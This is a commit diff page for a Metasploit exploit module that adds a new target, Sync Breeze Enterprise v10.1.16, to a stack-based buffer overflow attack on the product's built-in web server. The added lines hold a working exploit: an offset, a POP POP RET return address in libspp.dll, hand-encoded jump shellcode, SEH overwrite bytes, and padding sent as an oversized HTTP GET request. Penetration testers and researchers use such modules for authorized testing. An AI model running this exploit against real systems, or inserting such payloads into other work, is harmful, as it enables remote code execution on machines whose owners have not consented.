Skip to content

Commit 4cbb5f2

Browse files
committed
added new target
1 parent fd1681e commit 4cbb5f2

File tree

1 file changed

+45
-6
lines changed

1 file changed

+45
-6
lines changed

modules/exploits/windows/http/syncbreeze_bof.rb

Lines changed: 45 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -15,17 +15,18 @@ def initialize(info = {})
1515
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
1616
'Description' => %q{
1717
This module exploits a stack-based buffer overflow vulnerability
18-
in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
19-
improper bounds checking of the request in HTTP GET and POST requests
20-
sent to the built-in web server. This module has been tested
21-
successfully on Windows 7 SP1 x86.
18+
in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
19+
and v10.1.16, caused by improper bounds checking of the request in
20+
HTTP GET and POST requests sent to the built-in web server. This
21+
module has been tested successfully on Windows 7 SP1 x86.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
2525
[
2626
'Daniel Teixeira',
27-
'Andrew Smith', # MSF support for v10.0.28
28-
'Owais Mehtab' # Original v10.0.28 exploit
27+
'Andrew Smith', # MSF support for v10.0.28
28+
'Owais Mehtab', # Original v10.0.28 exploit
29+
'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
2930
],
3031
'DefaultOptions' =>
3132
{
@@ -53,6 +54,12 @@ def initialize(info = {})
5354
'Offset' => 780,
5455
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
5556
}
57+
],
58+
[ 'Sync Breeze Enterprise v10.1.16',
59+
{
60+
'Offset' => 2495,
61+
'Ret' => 0x1001C65C # POP # POP # RET [libspp.dll]
62+
}
5663
]
5764
],
5865
'Privileged' => true,
@@ -102,6 +109,9 @@ def get_target_name
102109
when /10\.0\.28/
103110
print_status('Target is 10.0.28')
104111
return targets[2]
112+
when /10\.1\.16/
113+
print_status('Target is 10.1.16')
114+
return targets[3]
105115
else
106116
nil
107117
end
@@ -156,6 +166,35 @@ def exploit
156166
'password' => "rawr"
157167
}
158168
)
169+
when targets[3]
170+
target = targets[3]
171+
jumpcode = "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
172+
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
173+
jumpcode << "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
174+
jumpcode << "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
175+
jumpcode << "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
176+
jumpcode << "\x50" # push eax
177+
jumpcode << "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
178+
jumpcode << "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
179+
jumpcode << "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
180+
jumpcode << "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
181+
jumpcode << "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
182+
jumpcode << "\x50" # push eax
183+
jumpcode << "\xff\xe4" # jmp esp
184+
185+
sploit = payload.encoded
186+
sploit << 'A' * (target['Offset'] - payload.encoded.length)
187+
sploit << "\x74\x06\x75\x06"
188+
sploit << [target.ret].pack('V')
189+
sploit << jumpcode
190+
sploit << 'A' * (9067 - (target['Offset'] + payload.encoded.length + 8 + jumpcode.length))
191+
192+
send_request_cgi(
193+
'uri' => '/' + sploit,
194+
'method' => 'GET',
195+
'host' => '4.2.2.2',
196+
'connection' => 'keep-alive'
197+
)
159198
else
160199
print_error("Exploit not suitable for this target.")
161200
end

0 commit comments

Comments
 (0)